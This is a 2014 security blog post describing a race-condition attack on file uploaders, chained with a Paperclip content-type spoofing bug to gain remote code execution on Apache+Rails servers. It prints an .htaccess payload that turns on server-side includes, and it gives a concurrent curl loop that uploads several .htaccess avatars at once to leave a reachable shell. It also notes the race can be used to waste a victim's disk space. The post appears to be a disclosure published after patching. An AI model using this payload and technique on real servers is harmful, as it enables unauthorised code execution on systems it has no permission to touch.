Sunday, November 30, 2014

Hacking file uploaders with race condition

TL;DR I use a race condition to upload two avatars at the same time to exploit another Paperclip bug and get remote code execution on Apache+Rails stacks. I believe many file uploaders are vulnerable to this. It's fun, go ahead!

10 months ago I wrote about a simple but powerful bug in Paperclip <=3.5.3 (we can upload a file with arbitrary extension by spoofing Content-Type header).
Thoughtbot mentioned this problem on their blog in quite a misleading way - "a slight problem".

Considering it as an XSS only - yes, a slight problem. But as I said before we can get a code execution with it. Now when hopefully all your systems are patched I will try to explain an interesting attack scenario for Apache+Rails stacks.

.htaccess as a shell

Most likely .php/.pl are not executed by default because you are using Rails. But I bet you know about .htaccess file which can override Apache settings. And by default Apache 2.3.8 and earlier had AllowOverride All making the server respect .htaccess directives.

At first I was trying to create a self-containing .htaccess shell but for some reason it doesn't work anymore. Apache doesn't apply SSI processor to .htaccess itself but does to %name%.htaccess:

<Files ~ "^\.ht">
 Require all granted
   # Order allow,deny
   # Allow from all

Options +Includes
AddType text/html .htaccess
AddOutputFilter INCLUDES .htaccess
AddType text/html .shtml
AddOutputFilter INCLUDES .shtml

#<!--#printenv -->

This means we need to create two files (upload two avatars).htaccess and 1.htaccess - and they must exist at the same time. Impossible? No, welcome to the world of concurrency!

The core flaw of file upload systems.

While I was doing a research on race conditions I noticed that every file uploader is basically a voucher system. Once user is registered he has a "voucher" to upload one avatar. When the upload is done the previous avatar gets deleted. But the majority of such systems don't create a critical section carefully which let's us upload two or more avatars at the same time.

Given current_avatar is 0.jpg we are making, say, 5 simultaneous requests with filenames 1.jpg, 2.jpg, 3.jpg, 4.jpg, 5.jpg

Each of them will put %num%.jpg in the /uploads/user/%id% folder and try to delete the previous avatar (something like File.rm current_user.current_avatar) which is still 0.jpg. The last executed request will change current_avatar to 5.jpg (can be 1-4.jpg as well, it's random) in the database.

Eventually the folder with user avatars will contain 1.jpg, 2.jpg, 3.jpg, 4.jpg, 5.jpg and first four will never be deleted. This can be used to waste disk space of the victim :)

Exploitation steps

1. Prepare a URL delivering .htaccess payload. Or just use mine and
2. Create a few simultaneous avatar uploading requests with your preferred tool. If you like curl: this will send five 1..5.htaccess uploads and five .htaccess uploads (just to have more chances for .htaccess)

for i in {1..5};
curl 'http://lh:9292/users' -H <HEADERS> --data 'utf8=%E2%9C%93&_method=put&authenticity_token=TOKEN%3D&'"$i"'.htaccess' &
curl 'http://lh:9292/users' -H <HEADERS> --data 'utf8=%E2%9C%93&_method=put&authenticity_token=TOKEN%3D&' &

The folder with uploads will look like this. Not all requests "made it", because I created just 8 workers (puma -w 8)
Shell is available at http://lh:9292/system/users/avatars/000/000/001/original/1.htaccess

P.S. Post "Wonders of Race Conditions" is coming soon. From basic hacking of account balances to bypassing "you have 5 more login attempts" and file upload systems. Concurrency is fun!